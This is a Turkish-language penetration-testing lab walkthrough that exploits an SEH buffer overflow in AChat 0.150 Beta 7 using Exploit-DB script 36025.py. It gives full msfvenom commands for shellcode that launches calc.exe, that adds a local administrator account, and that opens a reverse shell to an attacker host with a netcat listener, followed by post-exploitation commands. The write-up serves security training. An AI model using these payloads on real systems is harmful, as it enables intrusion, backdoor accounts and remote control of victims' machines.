Ağ taraması gerçekleştirildiğinde hedef işletim sisteminin TCP/9256 portunda Achat uygulamasının hizmet verdiği görülmektedir.
nmap -Pn -n –reason -p 22,139,445,3389,9256 192.168.0.32 -sV -A
Nmap ile uygulamaya ait sürüm bilgisi elde edilememiştir. Eğitim amaçlı oluşturulan bu ortamda AChat v0.150 Beta 7 kurulmuştur. Achat uygulamasının bu sürümü Sourceforge üzerinden indirilebilir.
https://kent.dl.sourceforge.net/project/achat/AChat%20beta/AChat%20beta%207%20%28v0.150%29/achat0-150setup.exe
Achat uygulaması, anlık mesajlaşma ve veri transferi amaçları ile kullanılan bir uygulamadır.
Achat 0.15 Beta sürümündeki bu uygulamadaki SEH tabanlı bellek taşması zafiyeti Exploit-DB üzerindeki 36025.py betiği ile istismar edilerek uygulamayı çalıştıran kullanıcı hakları ile Windows komut satırı bağlantısı elde edilebilir. Bu betik Kali üzerinde de bulunmaktadır.
searchsploit achat
cp /usr/share/exploitdb/platforms/windows/remote/36025.py .
head -15 36025.py
Kodun içeriği incelendiğinde hedef uygulamanın istismar edilmesi ile hesap makinesinin (calc.exe) çalışacağı belirtilmektedir.
msfvenom -a x86 –platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python
Hedef IP adresi de python kodunun içerisinde bulunmaktadır. Bu değer kurban makinenin IP adresi ile değiştirilerek python kodu çalıştırılabilir.
İstismar kodu çalıştırıldığında, Achat uygulamasının kapandığı ve hesap makinesinin açıldığı görülmektedir.
Hesap makinesini çalıştırmak yerine yeni bir kullanıcı ekleme, bir port açma, bir porta ters bağlantı sağlama,… gibi işlemler de yapılabilir. Uygulamayı çalıştıran kullanıcının yetkisi ile yeni bir yerel yönetici kullanıcısı oluşturmak için aşağıdaki payload kullanılabilir.
msfvenom -a x86 –platform Windows -p windows/adduser USER=Saldirgan PASS=Ss123456 -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python
Bu kod parçası ilgili payload kısmına yapıştırılarak hesap makinesinin açılması yerine yeni bir kullanıcı oluşturulması beklenmektedir.
Kod parçacığı yeniden çalıştırıldığında “Saldirgan” isimli yeni bir yönetici kullanıcısının oluştuğu görülmüştür.
python 36025.py
net user
net user Saldırgan
Ancak Achat uygulamasını çalıştıran kullanıcının yeni kullanıcı oluşturma yetkisi yoksa “windows/adduser” adlı payload çalışamayacaktır. Bu gibi bir durumda ters bağlantı sağlayacak bir payload (windows/shell_reverse_tcp) kullanılabilir.
msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.30 LPORT=443 -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python
Benzer şekilde 36025.py dosyasının içeriğindeki çalışacak kod parçacığı değiştirildiğinde hedef sistemden saldırganın belirttiği IP adresine Achat uygulamasını çalıştıran kullanıcı yetkisi ile komut satırı erişimielde edilir.
nc -nlvp 443
python 36025.py
whoami
systeminfo
Not: Github üzerindeki Python ve Bash betikleri de ters bağlantı için kullanılabilir.
https://github.com/un1x00/AChat-Reverse-TCP-Exploit